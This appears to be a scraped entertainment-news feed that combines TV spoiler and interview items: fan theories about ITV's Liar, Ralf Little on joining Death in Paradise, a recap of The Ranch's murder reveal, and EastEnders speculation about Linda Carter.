Back in season one, it was revealed the latter worked at the same hospital as Andrew and there were several scenes when they were in the same changing room together.

Although it may seem strange the sister wanted to set up her sibling, it should also be remembered Laura was left devastated when it emerged Katy had been having an affair with her boyfriend, Tom Bailey (Warren Brown).

Consequences of the reveal led to the breakdown of her marriage and tensions arising between the siblings, so could Katy resent her sister enough to frame her?

One viewer wrote on Twitter: “Laura’s sister was the one with the key possibly she planted it in her place trying to frame Laura #Liar.”

Following her arrest, Laura made a call to her sibling and told her: “He’s not going to ruin my life all over again.”

But in a shock twist, will it be her loved one who is going to turn her world upside down this time around?

Liar continues Monday at 9pm on ITV.

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The actor joined the murder mystery series last night as DI Neville Parker and said the long hours and fierce humidity in Guadeloupe make it tough for everyone involved. 

But he wants a longer stint than previous stars like Kris Marshall and Ardal O’Hanlon, who each stayed three years in the lead role. 

Ralf, who plays the fourth British detective to find himself investigating murders on the fictional Saint Marie, said: “I mean, my missus might have an opinion on this, but I’d be happy doing it for 20 years.” 

He joined current regulars Don Warrington, Tobi Bakare, Shyko Amos, Aude Legastelois and Elizabeth Bourgine in the series. 

“I have to say, I slightly irritated everybody… I arrive and I’m like, ‘Hey, how great is this? Aren’t we lucky. Aren’t we the luckiest people in the world?’ 

“It’s hard because it’s hot and it’s long hours and it’s a physically demanding and mentally demanding thing to do. And, you’re away from home a lot. 

“But you know, I’ve got no kids, no responsibilities. My girlfriend’s American, so I’m often in the States anyway. So, I don’t get home sick. I’m used to it. And so, life-wise, I’m strategically in the perfect position to do the show. 

“It’s very difficult to convince people that it’s not just the biggest party ever. But, you know, it’s not – it’s hard work. 

“But I just sat and I loved it.” 

Referring to the enthusiastic reaction to his appointment, Ralf hinted this could be the part that people remember him for, as well as playing teenager Anthony in The Royle Family. 

He told the Series Linked podcast: “The Royle Family? I wouldn’t change it for all the money in the world. But it was 20 years ago. I’m about to turn 40 and… this is really exciting for me because it feels like the start of a new chapter.” 

But the actor says his confidence has waned as he has aged. 

“When I was younger I was like, ‘I’m brilliant at this. I can do anything.’ Now, I’m like, ‘Can I? Oh, was that okay?’” 

●Full interview with Ralf on the Series Linked podcast, out now. 

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The Ranch is nearly at the end of its eight-part run before Nick’s killer is revealed.

In Episode 7, Beer Pong tells Colt that the murder weapon was found behind Nick’s trailer. Soon after, Wilkerson turns up at the Bennett house and arrests Luke for Nick’s murder. It was his gun they found on the premises.

Be that as it may, Luke didn’t kill Nick. Luke’s gun was in his car — the very car that Mary stole and cashed in for a quick drug fix. And we know it couldn’t have been Mary who ended the ex-con’s life; she was back at the Bennett house stealing a hot shower and some shuteye.

After Luke’s arrest, Colt, Abby, Beau, Maggie and Mary gather in the kitchen. Before long, Heather walks in and asks what happened. Mary breaks it to her daughter that Luke’s in custody, then Colt tells everyone that Luke is innocent. They have no reason to believe that Colt knows the truth — that is, until Abby nudges her hubby and says, “I think you should tell them.” Colt shrugs off the suggestion, then Beau loses his cool. He knows something’s up, and he’s not about to see his nephew rot in prison for a crime he didn’t commit. That’s when Heather interjects and confesses to murder. “I did it,” she says. “I killed Nick.” She then proceeds to tell Mary exactly what happened.

The Ranch 8x07 - Heather Kills Nick“That night, when I saw what he did to you, it brought back every time he hit you, or me, or Darlene… I’ve been scared of him my entire life,” she says. “I went back to the trailer to pack up your stuff so you’d never have to go back there again — and while I was packing, I found a gun. And then Nick walked in, and he saw the gun, and he came at me, and I didn’t know what to do. I just…” At this point, Mary takes Heather in her arms and squeezes her tight.

“You were protecting yourself,” Maggie says to Heather. “I just can’t believe you’ve had to go through this alone.” That’s when Colt interjects: “She wasn’t alone,” he says. “She called me right after. That’s why I was there and got arrested.”

The next day, Colt visits Luke and assures his cousin that he’s going to get him out of jail. He then returns home, where Heather, Mary and Abby join him for a sit-down with Jerry. The Bennett family attorney tells Heather that it sounds like she acted in self-defense, but the prosecution might not see it that way. But Heather is willing to take that chance; she’s going to turn herself in to get Luke out of jail, and she’s not going to tell the police that Colt helped her stash the murder weapon and flee the scene. Jerry explains to Colt and Abby that he’d be charged with accessory after the fact if he turns himself in, and he could face up to two years behind bars. They can choose to keep quiet, but if Colt gets caught, the prosecution will be a lot tougher on Colt and Heather.

'The Ranch' 8x07 - Colt and AbbyColt eventually decides that he just can’t live with himself if he doesn’t come clean. The following day, he and Abby accompany Heather down to the police station. She tells Wilkerson that she needs to talk, but she’s too late. “Is this about your mom? Because we’re processing her right now,” he says. “Mary confessed to killing Nick.” (Wait, what?!)

In a recent TVLine poll, 11 percent of readers said they believed that Heather killed Nick, whereas 13 and 12 percent of readers believed it was Mary or Beau, respectively. An overwhelming 55 percent of voters believed that the Rooster (played by fired former cast member Danny Masterson) was back to rescue Mary from Nick’s clutches, but Part 8 confirmed that Rooster wasn’t just presumed dead — he’s dead dead.

What did you think of The Ranch‘s killer reveal? Did you have a hunch it was Heather who phoned Colt in the Part 8 premiere? Hit the comments with your reactions — and to discuss anything that’s gone down in the first seven episodes. 

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]]> https://briefnews.eu/the-ranchs-killer-reveal-spoiler-confesses-to-nicks-murder-in-episode-7-but-who-goes-down-for-the-crime/feed/ 0 EastEnders spoilers: Fans ‘solve’ who is ringing Linda Carter amid Keanu Taylor ‘murder’  https://briefnews.eu/eastenders-spoilers-fans-solve-who-is-ringing-linda-carter-amid-keanu-taylor-murder/ https://briefnews.eu/eastenders-spoilers-fans-solve-who-is-ringing-linda-carter-amid-keanu-taylor-murder/#respond Tue, 31 Dec 2019 18:47:47 +0000 http://briefnews.eu/eastenders-spoilers-fans-solve-who-is-ringing-linda-carter-amid-keanu-taylor-murder/

As she quickly tried to backtrack, Linda added: “I don’t, you know, not for sure, you’ve got to get a grip, for Denny, you’ve got to hold it together.”

Some eagle-eyed fans believe Linda was kidnapped by Martin alongside Keanu as she was drinking close to the site of Martin’s van on Christmas Eve.

One viewer asked: “Why is everyone forgetting that Linda was drinking right next to where Martin caught Keanu in the van? #Eastenders.”

Another echoed: “I think when Linda was drunk on the floor, she must of saw them kidnap keanu #eastenders.”

With the flashback episode set to air tomorrow (New Year’s Day), what has Linda really been hiding, and who is trying to get in contact with her?

EastEnders continues this evening at 7.30pm on BBC One. 

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